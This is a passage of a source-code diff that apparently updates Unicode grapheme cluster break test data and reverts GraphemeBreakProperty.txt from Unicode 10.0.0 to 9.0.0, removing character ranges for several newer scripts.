× [9.0] COMBINING DIAERESIS (Extend) × [9.0] COMBINING GRAVE ACCENT (Extend) ÷ [0.3] -÷ 2640 ÷ 0600 ÷ # ÷ [0.2] FEMALE SIGN (Glue_After_Zwj) ÷ [999.0] ARABIC NUMBER SIGN (Prepend) ÷ [0.3] -÷ 2640 × 0308 ÷ 0600 ÷ # ÷ [0.2] FEMALE SIGN (Glue_After_Zwj) × [9.0] COMBINING DIAERESIS (Extend) ÷ [999.0] ARABIC NUMBER SIGN (Prepend) ÷ [0.3] -÷ 2640 × 0903 ÷ # ÷ [0.2] FEMALE SIGN (Glue_After_Zwj) × [9.1] DEVANAGARI SIGN VISARGA (SpacingMark) ÷ [0.3] -÷ 2640 × 0308 × 0903 ÷ # ÷ [0.2] FEMALE SIGN (Glue_After_Zwj) × [9.0] COMBINING DIAERESIS (Extend) × [9.1] DEVANAGARI SIGN VISARGA (SpacingMark) ÷ [0.3] -÷ 2640 ÷ 1100 ÷ # ÷ [0.2] FEMALE SIGN (Glue_After_Zwj) ÷ [999.0] HANGUL CHOSEONG KIYEOK (L) ÷ [0.3] -÷ 2640 × 0308 ÷ 1100 ÷ # ÷ [0.2] FEMALE SIGN (Glue_After_Zwj) × [9.0] COMBINING DIAERESIS (Extend) ÷ [999.0] HANGUL CHOSEONG KIYEOK (L) ÷ [0.3] -÷ 2640 ÷ 1160 ÷ # ÷ [0.2] FEMALE SIGN (Glue_After_Zwj) ÷ [999.0] HANGUL JUNGSEONG FILLER (V) ÷ [0.3] -÷ 2640 × 0308 ÷ 1160 ÷ # ÷ [0.2] FEMALE SIGN (Glue_After_Zwj) × [9.0] COMBINING DIAERESIS (Extend) ÷ [999.0] HANGUL JUNGSEONG FILLER (V) ÷ [0.3] -÷ 2640 ÷ 11A8 ÷ # ÷ [0.2] FEMALE SIGN (Glue_After_Zwj) ÷ [999.0] HANGUL JONGSEONG KIYEOK (T) ÷ [0.3] -÷ 2640 × 0308 ÷ 11A8 ÷ # ÷ [0.2] FEMALE SIGN (Glue_After_Zwj) × [9.0] COMBINING DIAERESIS (Extend) ÷ [999.0] HANGUL JONGSEONG KIYEOK (T) ÷ [0.3] -÷ 2640 ÷ AC00 ÷ # ÷ [0.2] FEMALE SIGN (Glue_After_Zwj) ÷ [999.0] HANGUL SYLLABLE GA (LV) ÷ [0.3] -÷ 2640 × 0308 ÷ AC00 ÷ # ÷ [0.2] FEMALE SIGN (Glue_After_Zwj) × [9.0] COMBINING DIAERESIS (Extend) ÷ [999.0] HANGUL SYLLABLE GA (LV) ÷ [0.3] -÷ 2640 ÷ AC01 ÷ # ÷ [0.2] FEMALE SIGN (Glue_After_Zwj) ÷ [999.0] HANGUL SYLLABLE GAG (LVT) ÷ [0.3] -÷ 2640 × 0308 ÷ AC01 ÷ # ÷ [0.2] FEMALE SIGN (Glue_After_Zwj) × [9.0] COMBINING DIAERESIS (Extend) ÷ [999.0] HANGUL SYLLABLE GAG (LVT) ÷ [0.3] -÷ 2640 ÷ 1F1E6 ÷ # ÷ [0.2] FEMALE SIGN (Glue_After_Zwj) ÷ [999.0] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [0.3] -÷ 2640 × 0308 ÷ 1F1E6 ÷ # ÷ [0.2] FEMALE SIGN (Glue_After_Zwj) × [9.0] COMBINING DIAERESIS (Extend) ÷ [999.0] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [0.3] -÷ 2640 ÷ 261D ÷ # ÷ [0.2] FEMALE SIGN (Glue_After_Zwj) ÷ [999.0] WHITE UP POINTING INDEX (E_Base) ÷ [0.3] -÷ 2640 × 0308 ÷ 261D ÷ # ÷ [0.2] FEMALE SIGN (Glue_After_Zwj) × [9.0] COMBINING DIAERESIS (Extend) ÷ [999.0] WHITE UP POINTING INDEX (E_Base) ÷ [0.3] -÷ 2640 ÷ 1F3FB ÷ # ÷ [0.2] FEMALE SIGN (Glue_After_Zwj) ÷ [999.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (E_Modifier) ÷ [0.3] -÷ 2640 × 0308 ÷ 1F3FB ÷ # ÷ [0.2] FEMALE SIGN (Glue_After_Zwj) × [9.0] COMBINING DIAERESIS (Extend) ÷ [999.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (E_Modifier) ÷ [0.3] -÷ 2640 × 200D ÷ # ÷ [0.2] FEMALE SIGN (Glue_After_Zwj) × [9.0] ZERO WIDTH JOINER (ZWJ) ÷ [0.3] -÷ 2640 × 0308 × 200D ÷ # ÷ [0.2] FEMALE SIGN (Glue_After_Zwj) × [9.0] COMBINING DIAERESIS (Extend) × [9.0] ZERO WIDTH JOINER (ZWJ) ÷ [0.3] -÷ 2640 ÷ 2640 ÷ # ÷ [0.2] FEMALE SIGN (Glue_After_Zwj) ÷ [999.0] FEMALE SIGN (Glue_After_Zwj) ÷ [0.3] -÷ 2640 × 0308 ÷ 2640 ÷ # ÷ [0.2] FEMALE SIGN (Glue_After_Zwj) × [9.0] COMBINING DIAERESIS (Extend) ÷ [999.0] FEMALE SIGN (Glue_After_Zwj) ÷ [0.3] -÷ 2640 ÷ 1F466 ÷ # ÷ [0.2] FEMALE SIGN (Glue_After_Zwj) ÷ [999.0] BOY (EBG) ÷ [0.3] -÷ 2640 × 0308 ÷ 1F466 ÷ # ÷ [0.2] FEMALE SIGN (Glue_After_Zwj) × [9.0] COMBINING DIAERESIS (Extend) ÷ [999.0] BOY (EBG) ÷ [0.3] -÷ 2640 ÷ 0378 ÷ # ÷ [0.2] FEMALE SIGN (Glue_After_Zwj) ÷ [999.0] (Other) ÷ [0.3] -÷ 2640 × 0308 ÷ 0378 ÷ # ÷ [0.2] FEMALE SIGN (Glue_After_Zwj) × [9.0] COMBINING DIAERESIS (Extend) ÷ [999.0] (Other) ÷ [0.3] -÷ 2640 ÷ D800 ÷ # ÷ [0.2] FEMALE SIGN (Glue_After_Zwj) ÷ [5.0] (Control) ÷ [0.3] -÷ 2640 × 0308 ÷ D800 ÷ # ÷ [0.2] FEMALE SIGN (Glue_After_Zwj) × [9.0] COMBINING DIAERESIS (Extend) ÷ [5.0] (Control) ÷ [0.3] +÷ 2764 ÷ 0020 ÷ # ÷ [0.2] HEAVY BLACK HEART (Glue_After_Zwj) ÷ [999.0] SPACE (Other) ÷ [0.3] +÷ 2764 × 0308 ÷ 0020 ÷ # ÷ [0.2] HEAVY BLACK HEART (Glue_After_Zwj) × [9.0] COMBINING DIAERESIS (Extend) ÷ [999.0] SPACE (Other) ÷ [0.3] +÷ 2764 ÷ 000D ÷ # ÷ [0.2] HEAVY BLACK HEART (Glue_After_Zwj) ÷ [5.0] (CR) ÷ [0.3] +÷ 2764 × 0308 ÷ 000D ÷ # ÷ [0.2] HEAVY BLACK HEART (Glue_After_Zwj) × [9.0] COMBINING DIAERESIS (Extend) ÷ [5.0] (CR) ÷ [0.3] +÷ 2764 ÷ 000A ÷ # ÷ [0.2] HEAVY BLACK HEART (Glue_After_Zwj) ÷ [5.0] (LF) ÷ [0.3] +÷ 2764 × 0308 ÷ 000A ÷ # ÷ [0.2] HEAVY BLACK HEART (Glue_After_Zwj) × [9.0] COMBINING DIAERESIS (Extend) ÷ [5.0] (LF) ÷ [0.3] +÷ 2764 ÷ 0001 ÷ # ÷ [0.2] HEAVY BLACK HEART (Glue_After_Zwj) ÷ [5.0] (Control) ÷ [0.3] +÷ 2764 × 0308 ÷ 0001 ÷ # ÷ [0.2] HEAVY BLACK HEART (Glue_After_Zwj) × [9.0] COMBINING DIAERESIS (Extend) ÷ [5.0] (Control) ÷ [0.3] +÷ 2764 × 0300 ÷ # ÷ [0.2] HEAVY BLACK HEART (Glue_After_Zwj) × [9.0] COMBINING GRAVE ACCENT (Extend) ÷ [0.3] +÷ 2764 × 0308 × 0300 ÷ # ÷ [0.2] HEAVY BLACK HEART (Glue_After_Zwj) × [9.0] COMBINING DIAERESIS (Extend) × [9.0] COMBINING GRAVE ACCENT (Extend) ÷ [0.3] +÷ 2764 ÷ 0600 ÷ # ÷ [0.2] HEAVY BLACK HEART (Glue_After_Zwj) ÷ [999.0] ARABIC NUMBER SIGN (Prepend) ÷ [0.3] +÷ 2764 × 0308 ÷ 0600 ÷ # ÷ [0.2] HEAVY BLACK HEART (Glue_After_Zwj) × [9.0] COMBINING DIAERESIS (Extend) ÷ [999.0] ARABIC NUMBER SIGN (Prepend) ÷ [0.3] +÷ 2764 × 0903 ÷ # ÷ [0.2] HEAVY BLACK HEART (Glue_After_Zwj) × [9.1] DEVANAGARI SIGN VISARGA (SpacingMark) ÷ [0.3] +÷ 2764 × 0308 × 0903 ÷ # ÷ [0.2] HEAVY BLACK HEART (Glue_After_Zwj) × [9.0] COMBINING DIAERESIS (Extend) × [9.1] DEVANAGARI SIGN VISARGA (SpacingMark) ÷ [0.3] +÷ 2764 ÷ 1100 ÷ # ÷ [0.2] HEAVY BLACK HEART (Glue_After_Zwj) ÷ [999.0] HANGUL CHOSEONG KIYEOK (L) ÷ [0.3] +÷ 2764 × 0308 ÷ 1100 ÷ # ÷ [0.2] HEAVY BLACK HEART (Glue_After_Zwj) × [9.0] COMBINING DIAERESIS (Extend) ÷ [999.0] HANGUL CHOSEONG KIYEOK (L) ÷ [0.3] +÷ 2764 ÷ 1160 ÷ # ÷ [0.2] HEAVY BLACK HEART (Glue_After_Zwj) ÷ [999.0] HANGUL JUNGSEONG FILLER (V) ÷ [0.3] +÷ 2764 × 0308 ÷ 1160 ÷ # ÷ [0.2] HEAVY BLACK HEART (Glue_After_Zwj) × [9.0] COMBINING DIAERESIS (Extend) ÷ [999.0] HANGUL JUNGSEONG FILLER (V) ÷ [0.3] +÷ 2764 ÷ 11A8 ÷ # ÷ [0.2] HEAVY BLACK HEART (Glue_After_Zwj) ÷ [999.0] HANGUL JONGSEONG KIYEOK (T) ÷ [0.3] +÷ 2764 × 0308 ÷ 11A8 ÷ # ÷ [0.2] HEAVY BLACK HEART (Glue_After_Zwj) × [9.0] COMBINING DIAERESIS (Extend) ÷ [999.0] HANGUL JONGSEONG KIYEOK (T) ÷ [0.3] +÷ 2764 ÷ AC00 ÷ # ÷ [0.2] HEAVY BLACK HEART (Glue_After_Zwj) ÷ [999.0] HANGUL SYLLABLE GA (LV) ÷ [0.3] +÷ 2764 × 0308 ÷ AC00 ÷ # ÷ [0.2] HEAVY BLACK HEART (Glue_After_Zwj) × [9.0] COMBINING DIAERESIS (Extend) ÷ [999.0] HANGUL SYLLABLE GA (LV) ÷ [0.3] +÷ 2764 ÷ AC01 ÷ # ÷ [0.2] HEAVY BLACK HEART (Glue_After_Zwj) ÷ [999.0] HANGUL SYLLABLE GAG (LVT) ÷ [0.3] +÷ 2764 × 0308 ÷ AC01 ÷ # ÷ [0.2] HEAVY BLACK HEART (Glue_After_Zwj) × [9.0] COMBINING DIAERESIS (Extend) ÷ [999.0] HANGUL SYLLABLE GAG (LVT) ÷ [0.3] +÷ 2764 ÷ 1F1E6 ÷ # ÷ [0.2] HEAVY BLACK HEART (Glue_After_Zwj) ÷ [999.0] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [0.3] +÷ 2764 × 0308 ÷ 1F1E6 ÷ # ÷ [0.2] HEAVY BLACK HEART (Glue_After_Zwj) × [9.0] COMBINING DIAERESIS (Extend) ÷ [999.0] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [0.3] +÷ 2764 ÷ 261D ÷ # ÷ [0.2] HEAVY BLACK HEART (Glue_After_Zwj) ÷ [999.0] WHITE UP POINTING INDEX (E_Base) ÷ [0.3] +÷ 2764 × 0308 ÷ 261D ÷ # ÷ [0.2] HEAVY BLACK HEART (Glue_After_Zwj) × [9.0] COMBINING DIAERESIS (Extend) ÷ [999.0] WHITE UP POINTING INDEX (E_Base) ÷ [0.3] +÷ 2764 ÷ 1F3FB ÷ # ÷ [0.2] HEAVY BLACK HEART (Glue_After_Zwj) ÷ [999.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (E_Modifier) ÷ [0.3] +÷ 2764 × 0308 ÷ 1F3FB ÷ # ÷ [0.2] HEAVY BLACK HEART (Glue_After_Zwj) × [9.0] COMBINING DIAERESIS (Extend) ÷ [999.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (E_Modifier) ÷ [0.3] +÷ 2764 × 200D ÷ # ÷ [0.2] HEAVY BLACK HEART (Glue_After_Zwj) × [9.0] ZERO WIDTH JOINER (ZWJ) ÷ [0.3] +÷ 2764 × 0308 × 200D ÷ # ÷ [0.2] HEAVY BLACK HEART (Glue_After_Zwj) × [9.0] COMBINING DIAERESIS (Extend) × [9.0] ZERO WIDTH JOINER (ZWJ) ÷ [0.3] +÷ 2764 ÷ 2764 ÷ # ÷ [0.2] HEAVY BLACK HEART (Glue_After_Zwj) ÷ [999.0] HEAVY BLACK HEART (Glue_After_Zwj) ÷ [0.3] +÷ 2764 × 0308 ÷ 2764 ÷ # ÷ [0.2] HEAVY BLACK HEART (Glue_After_Zwj) × [9.0] COMBINING DIAERESIS (Extend) ÷ [999.0] HEAVY BLACK HEART (Glue_After_Zwj) ÷ [0.3] +÷ 2764 ÷ 1F466 ÷ # ÷ [0.2] HEAVY BLACK HEART (Glue_After_Zwj) ÷ [999.0] BOY (EBG) ÷ [0.3] +÷ 2764 × 0308 ÷ 1F466 ÷ # ÷ [0.2] HEAVY BLACK HEART (Glue_After_Zwj) × [9.0] COMBINING DIAERESIS (Extend) ÷ [999.0] BOY (EBG) ÷ [0.3] +÷ 2764 ÷ 0378 ÷ # ÷ [0.2] HEAVY BLACK HEART (Glue_After_Zwj) ÷ [999.0] (Other) ÷ [0.3] +÷ 2764 × 0308 ÷ 0378 ÷ # ÷ [0.2] HEAVY BLACK HEART (Glue_After_Zwj) × [9.0] COMBINING DIAERESIS (Extend) ÷ [999.0] (Other) ÷ [0.3] +÷ 2764 ÷ D800 ÷ # ÷ [0.2] HEAVY BLACK HEART (Glue_After_Zwj) ÷ [5.0] (Control) ÷ [0.3] +÷ 2764 × 0308 ÷ D800 ÷ # ÷ [0.2] HEAVY BLACK HEART (Glue_After_Zwj) × [9.0] COMBINING DIAERESIS (Extend) ÷ [5.0] (Control) ÷ [0.3] ÷ 1F466 ÷ 0020 ÷ # ÷ [0.2] BOY (EBG) ÷ [999.0] SPACE (Other) ÷ [0.3] ÷ 1F466 × 0308 ÷ 0020 ÷ # ÷ [0.2] BOY (EBG) × [9.0] COMBINING DIAERESIS (Extend) ÷ [999.0] SPACE (Other) ÷ [0.3] ÷ 1F466 ÷ 000D ÷ # ÷ [0.2] BOY (EBG) ÷ [5.0] (CR) ÷ [0.3] @@ -734,8 +733,8 @@ ÷ 1F466 × 0308 × 1F3FB ÷ # ÷ [0.2] BOY (EBG) × [9.0] COMBINING DIAERESIS (Extend) × [10.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (E_Modifier) ÷ [0.3] ÷ 1F466 × 200D ÷ # ÷ [0.2] BOY (EBG) × [9.0] ZERO WIDTH JOINER (ZWJ) ÷ [0.3] ÷ 1F466 × 0308 × 200D ÷ # ÷ [0.2] BOY (EBG) × [9.0] COMBINING DIAERESIS (Extend) × [9.0] ZERO WIDTH JOINER (ZWJ) ÷ [0.3] -÷ 1F466 ÷ 2640 ÷ # ÷ [0.2] BOY (EBG) ÷ [999.0] FEMALE SIGN (Glue_After_Zwj) ÷ [0.3] -÷ 1F466 × 0308 ÷ 2640 ÷ # ÷ [0.2] BOY (EBG) × [9.0] COMBINING DIAERESIS (Extend) ÷ [999.0] FEMALE SIGN (Glue_After_Zwj) ÷ [0.3] +÷ 1F466 ÷ 2764 ÷ # ÷ [0.2] BOY (EBG) ÷ [999.0] HEAVY BLACK HEART (Glue_After_Zwj) ÷ [0.3] +÷ 1F466 × 0308 ÷ 2764 ÷ # ÷ [0.2] BOY (EBG) × [9.0] COMBINING DIAERESIS (Extend) ÷ [999.0] HEAVY BLACK HEART (Glue_After_Zwj) ÷ [0.3] ÷ 1F466 ÷ 1F466 ÷ # ÷ [0.2] BOY (EBG) ÷ [999.0] BOY (EBG) ÷ [0.3] ÷ 1F466 × 0308 ÷ 1F466 ÷ # ÷ [0.2] BOY (EBG) × [9.0] COMBINING DIAERESIS (Extend) ÷ [999.0] BOY (EBG) ÷ [0.3] ÷ 1F466 ÷ 0378 ÷ # ÷ [0.2] BOY (EBG) ÷ [999.0] (Other) ÷ [0.3] @@ -774,8 +773,8 @@ ÷ 0378 × 0308 ÷ 1F3FB ÷ # ÷ [0.2] (Other) × [9.0] COMBINING DIAERESIS (Extend) ÷ [999.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (E_Modifier) ÷ [0.3] ÷ 0378 × 200D ÷ # ÷ [0.2] (Other) × [9.0] ZERO WIDTH JOINER (ZWJ) ÷ [0.3] ÷ 0378 × 0308 × 200D ÷ # ÷ [0.2] (Other) × [9.0] COMBINING DIAERESIS (Extend) × [9.0] ZERO WIDTH JOINER (ZWJ) ÷ [0.3] -÷ 0378 ÷ 2640 ÷ # ÷ [0.2] (Other) ÷ [999.0] FEMALE SIGN (Glue_After_Zwj) ÷ [0.3] -÷ 0378 × 0308 ÷ 2640 ÷ # ÷ [0.2] (Other) × [9.0] COMBINING DIAERESIS (Extend) ÷ [999.0] FEMALE SIGN (Glue_After_Zwj) ÷ [0.3] +÷ 0378 ÷ 2764 ÷ # ÷ [0.2] (Other) ÷ [999.0] HEAVY BLACK HEART (Glue_After_Zwj) ÷ [0.3] +÷ 0378 × 0308 ÷ 2764 ÷ # ÷ [0.2] (Other) × [9.0] COMBINING DIAERESIS (Extend) ÷ [999.0] HEAVY BLACK HEART (Glue_After_Zwj) ÷ [0.3] ÷ 0378 ÷ 1F466 ÷ # ÷ [0.2] (Other) ÷ [999.0] BOY (EBG) ÷ [0.3] ÷ 0378 × 0308 ÷ 1F466 ÷ # ÷ [0.2] (Other) × [9.0] COMBINING DIAERESIS (Extend) ÷ [999.0] BOY (EBG) ÷ [0.3] ÷ 0378 ÷ 0378 ÷ # ÷ [0.2] (Other) ÷ [999.0] (Other) ÷ [0.3] @@ -814,8 +813,8 @@ ÷ D800 ÷ 0308 ÷ 1F3FB ÷ # ÷ [0.2] (Control) ÷ [4.0] COMBINING DIAERESIS (Extend) ÷ [999.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (E_Modifier) ÷ [0.3] ÷ D800 ÷ 200D ÷ # ÷ [0.2] (Control) ÷ [4.0] ZERO WIDTH JOINER (ZWJ) ÷ [0.3] ÷ D800 ÷ 0308 × 200D ÷ # ÷ [0.2] (Control) ÷ [4.0] COMBINING DIAERESIS (Extend) × [9.0] ZERO WIDTH JOINER (ZWJ) ÷ [0.3] -÷ D800 ÷ 2640 ÷ # ÷ [0.2] (Control) ÷ [4.0] FEMALE SIGN (Glue_After_Zwj) ÷ [0.3] -÷ D800 ÷ 0308 ÷ 2640 ÷ # ÷ [0.2] (Control) ÷ [4.0] COMBINING DIAERESIS (Extend) ÷ [999.0] FEMALE SIGN (Glue_After_Zwj) ÷ [0.3] +÷ D800 ÷ 2764 ÷ # ÷ [0.2] (Control) ÷ [4.0] HEAVY BLACK HEART (Glue_After_Zwj) ÷ [0.3] +÷ D800 ÷ 0308 ÷ 2764 ÷ # ÷ [0.2] (Control) ÷ [4.0] COMBINING DIAERESIS (Extend) ÷ [999.0] HEAVY BLACK HEART (Glue_After_Zwj) ÷ [0.3] ÷ D800 ÷ 1F466 ÷ # ÷ [0.2] (Control) ÷ [4.0] BOY (EBG) ÷ [0.3] ÷ D800 ÷ 0308 ÷ 1F466 ÷ # ÷ [0.2] (Control) ÷ [4.0] COMBINING DIAERESIS (Extend) ÷ [999.0] BOY (EBG) ÷ [0.3] ÷ D800 ÷ 0378 ÷ # ÷ [0.2] (Control) ÷ [4.0] (Other) ÷ [0.3] @@ -841,7 +840,7 @@ ÷ 261D × 1F3FB ÷ 261D ÷ # ÷ [0.2] WHITE UP POINTING INDEX (E_Base) × [10.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (E_Modifier) ÷ [999.0] WHITE UP POINTING INDEX (E_Base) ÷ [0.3] ÷ 1F466 × 1F3FB ÷ # ÷ [0.2] BOY (EBG) × [10.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (E_Modifier) ÷ [0.3] ÷ 200D × 1F466 × 1F3FB ÷ # ÷ [0.2] ZERO WIDTH JOINER (ZWJ) × [11.0] BOY (EBG) × [10.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (E_Modifier) ÷ [0.3] -÷ 200D × 2640 ÷ # ÷ [0.2] ZERO WIDTH JOINER (ZWJ) × [11.0] FEMALE SIGN (Glue_After_Zwj) ÷ [0.3] +÷ 200D × 2764 ÷ # ÷ [0.2] ZERO WIDTH JOINER (ZWJ) × [11.0] HEAVY BLACK HEART (Glue_After_Zwj) ÷ [0.3] ÷ 200D × 1F466 ÷ # ÷ [0.2] ZERO WIDTH JOINER (ZWJ) × [11.0] BOY (EBG) ÷ [0.3] ÷ 1F466 ÷ 1F466 ÷ # ÷ [0.2] BOY (EBG) ÷ [999.0] BOY (EBG) ÷ [0.3] # diff --git a/lib/unicore/auxiliary/GraphemeBreakProperty.txt b/lib/unicore/auxiliary/GraphemeBreakProperty.txt index 32bb12e47e3e..c5e94a376233 100644 --- a/lib/unicore/auxiliary/GraphemeBreakProperty.txt +++ b/lib/unicore/auxiliary/GraphemeBreakProperty.txt @@ -1,6 +1,6 @@ -# GraphemeBreakProperty-10.0.0.txt -# Date: 2017-03-12, 07:03:41 GMT -# © 2017 Unicode®, Inc. +# GraphemeBreakProperty-9.0.0.txt +# Date: 2016-06-03, 22:23:55 GMT +# © 2016 Unicode®, Inc. # Unicode and the Unicode Logo are registered trademarks of Unicode, Inc. in the U.S. and other countries. # For terms of use, see http://www.unicode.org/terms_of_use.html # @@ -25,11 +25,8 @@ 0D4E ; Prepend # Lo MALAYALAM LETTER DOT REPH 110BD ; Prepend # Cf KAITHI NUMBER SIGN 111C2..111C3 ; Prepend # Lo [2] SHARADA SIGN JIHVAMULIYA..SHARADA SIGN UPADHMANIYA -11A3A ; Prepend # Lo ZANABAZAR SQUARE CLUSTER-INITIAL LETTER RA -11A86..11A89 ; Prepend # Lo [4] SOYOMBO CLUSTER-INITIAL LETTER RA..SOYOMBO CLUSTER-INITIAL LETTER SA -11D46 ; Prepend # Lo MASARAM GONDI REPHA -# Total code points: 19 +# Total code points: 13 # ================================================ @@ -129,7 +126,6 @@ E01F0..E0FFF ; Control # Cn [3600] .. 0AC7..0AC8 ; Extend # Mn [2] GUJARATI VOWEL SIGN E..GUJARATI VOWEL SIGN AI 0ACD ; Extend # Mn GUJARATI SIGN VIRAMA 0AE2..0AE3 ; Extend # Mn [2] GUJARATI VOWEL SIGN VOCALIC L..GUJARATI VOWEL SIGN VOCALIC LL -0AFA..0AFF ; Extend # Mn [6] GUJARATI SIGN SUKUN..GUJARATI SIGN TWO-CIRCLE NUKTA ABOVE 0B01 ; Extend # Mn ORIYA SIGN CANDRABINDU 0B3C ; Extend # Mn ORIYA SIGN NUKTA 0B3E ; Extend # Mc ORIYA VOWEL SIGN AA @@ -158,8 +154,7 @@ E01F0..E0FFF ; Control # Cn [3600] .. 0CCC..0CCD ; Extend # Mn [2] KANNADA VOWEL SIGN AU..KANNADA SIGN VIRAMA 0CD5..0CD6 ; Extend # Mc [2] KANNADA LENGTH MARK..KANNADA AI LENGTH MARK 0CE2..0CE3 ; Extend # Mn [2] KANNADA VOWEL SIGN VOCALIC L..KANNADA VOWEL SIGN VOCALIC LL -0D00..0D01 ; Extend # Mn [2] MALAYALAM SIGN COMBINING ANUSVARA ABOVE..MALAYALAM SIGN CANDRABINDU -0D3B..0D3C ; Extend # Mn [2] MALAYALAM SIGN VERTICAL BAR VIRAMA..MALAYALAM SIGN CIRCULAR VIRAMA +0D01 ; Extend # Mn MALAYALAM SIGN CANDRABINDU 0D3E ; Extend # Mc MALAYALAM VOWEL SIGN AA 0D41..0D44 ; Extend # Mn [4] MALAYALAM VOWEL SIGN U..MALAYALAM VOWEL SIGN VOCALIC RR 0D4D ; Extend # Mn MALAYALAM SIGN VIRAMA @@ -248,7 +243,7 @@ E01F0..E0FFF ; Control # Cn [3600] .. 1CED ; Extend # Mn VEDIC SIGN TIRYAK 1CF4 ; Extend # Mn VEDIC TONE CANDRA ABOVE 1CF8..1CF9 ; Extend # Mn [2] VEDIC TONE RING ABOVE..VEDIC TONE DOUBLE RING ABOVE -1DC0..1DF9 ; Extend # Mn [58] COMBINING DOTTED GRAVE ACCENT..COMBINING WIDE INVERTED BRIDGE BELOW +1DC0..1DF5 ; Extend # Mn [54] COMBINING DOTTED GRAVE ACCENT..COMBINING UP TACK ABOVE 1DFB..1DFF ; Extend # Mn [5] COMBINING DELETION MARK..COMBINING RIGHT ARROWHEAD AND DOWN ARROWHEAD BELOW 200C ; Extend # Cf ZERO WIDTH NON-JOINER 20D0..20DC ; Extend # Mn [13] COMBINING LEFT HARPOON ABOVE..COMBINING FOUR DOTS ABOVE @@ -358,15 +353,6 @@ FF9E..FF9F ; Extend # Lm [2] HALFWIDTH KATAKANA VOICED SOUND MARK..HALFWIDT 1171D..1171F ; Extend # Mn [3] AHOM CONSONANT SIGN MEDIAL LA..AHOM CONSONANT SIGN MEDIAL LIGATING RA 11722..11725 ; Extend # Mn [4] AHOM VOWEL SIGN I..AHOM VOWEL SIGN UU 11727..1172B ; Extend # Mn [5] AHOM VOWEL SIGN AW..AHOM SIGN KILLER -11A01..11A06 ; Extend # Mn [6] ZANABAZAR SQUARE VOWEL SIGN I..ZANABAZAR SQUARE VOWEL SIGN O -11A09..11A0A ; Extend # Mn [2] ZANABAZAR SQUARE VOWEL SIGN REVERSED I..ZANABAZAR SQUARE VOWEL LENGTH MARK -11A33..11A38 ; Extend # Mn [6] ZANABAZAR SQUARE FINAL CONSONANT MARK..ZANABAZAR SQUARE SIGN ANUSVARA -11A3B..11A3E ; Extend # Mn [4] ZANABAZAR SQUARE CLUSTER-FINAL LETTER YA..ZANABAZAR SQUARE CLUSTER-FINAL LETTER VA -11A47 ; Extend # Mn ZANABAZAR SQUARE SUBJOINER -11A51..11A56 ; Extend # Mn [6] SOYOMBO VOWEL SIGN I..SOYOMBO VOWEL SIGN OE -11A59..11A5B ; Extend # Mn [3] SOYOMBO VOWEL SIGN VOCALIC R..SOYOMBO VOWEL LENGTH MARK -11A8A..11A96 ; Extend # Mn [13] SOYOMBO FINAL CONSONANT SIGN G..SOYOMBO SIGN ANUSVARA -11A98..11A99 ; Extend # Mn [2] SOYOMBO GEMINATION MARK..SOYOMBO SUBJOINER 11C30..11C36 ; Extend # Mn [7] BHAIKSUKI VOWEL SIGN I..BHAIKSUKI VOWEL SIGN VOCALIC L 11C38..11C3D ; Extend # Mn [6] BHAIKSUKI VOWEL SIGN E..BHAIKSUKI SIGN ANUSVARA 11C3F ; Extend # Mn BHAIKSUKI SIGN VIRAMA @@ -374,11 +360,6 @@ FF9E..FF9F ; Extend # Lm [2] HALFWIDTH KATAKANA VOICED SOUND MARK..HALFWIDT 11CAA..11CB0 ; Extend # Mn [7] MARCHEN SUBJOINED LETTER RA..MARCHEN VOWEL SIGN AA 11CB2..11CB3 ; Extend # Mn [2] MARCHEN VOWEL SIGN U..MARCHEN VOWEL SIGN E 11CB5..11CB6 ; Extend # Mn [2] MARCHEN SIGN ANUSVARA..MARCHEN SIGN CANDRABINDU -11D31..11D36 ; Extend # Mn [6] MASARAM GONDI VOWEL SIGN AA..MASARAM GONDI VOWEL SIGN VOCALIC R -11D3A ; Extend # Mn MASARAM GONDI VOWEL SIGN E -11D3C..11D3D ; Extend # Mn [2] MASARAM GONDI VOWEL SIGN AI..MASARAM GONDI VOWEL SIGN O -11D3F..11D45 ; Extend # Mn [7] MASARAM GONDI VOWEL SIGN AU..MASARAM GONDI VIRAMA -11D47 ; Extend # Mn MASARAM GONDI RA-KARA 16AF0..16AF4 ; Extend # Mn [5] BASSA VAH COMBINING HIGH TONE..BASSA VAH COMBINING HIGH-LOW TONE 16B30..16B36 ; Extend # Mn [7] PAHAWH HMONG MARK CIM TUB..PAHAWH HMONG MARK CIM TAUM 16F8F..16F92 ; Extend # Mn [4] MIAO TONE RIGHT..MIAO TONE BELOW @@ -406,7 +387,7 @@ FF9E..FF9F ; Extend # Lm [2] HALFWIDTH KATAKANA VOICED SOUND MARK..HALFWIDT E0020..E007F ; Extend # Cf [96] TAG SPACE..CANCEL TAG E0100..E01EF ; Extend # Mn [240] VARIATION SELECTOR-17..VARIATION SELECTOR-256 -# Total code points: 1901 +# Total code points: 1828 # ================================================ @@ -491,7 +472,6 @@ E0100..E01EF ; Extend # Mn [240] VARIATION SELECTOR-17..VARIATION SELECTOR-256 1C34..1C35 ; SpacingMark # Mc [2] LEPCHA CONSONANT SIGN NYIN-DO..LEPCHA CONSONANT SIGN KANG 1CE1 ; SpacingMark # Mc VEDIC TONE ATHARVAVEDIC INDEPENDENT SVARITA 1CF2..1CF3 ; SpacingMark # Mc [2] VEDIC SIGN ARDHAVISARGA..VEDIC SIGN ROTATED ARDHAVISARGA -1CF7 ; SpacingMark # Mc VEDIC SIGN ATIKRAMA A823..A824 ; SpacingMark # Mc [2] SYLOTI NAGRI VOWEL SIGN A..SYLOTI NAGRI VOWEL SIGN I A827 ; SpacingMark # Mc SYLOTI NAGRI VOWEL SIGN OO A880..A881 ; SpacingMark # Mc [2] SAURASHTRA SIGN ANUSVARA..SAURASHTRA SIGN VISARGA @@ -549,10 +529,6 @@ ABEC ; SpacingMark # Mc MEETEI MAYEK LUM IYEK 116B6 ; SpacingMark # Mc TAKRI SIGN VIRAMA 11720..11721 ; 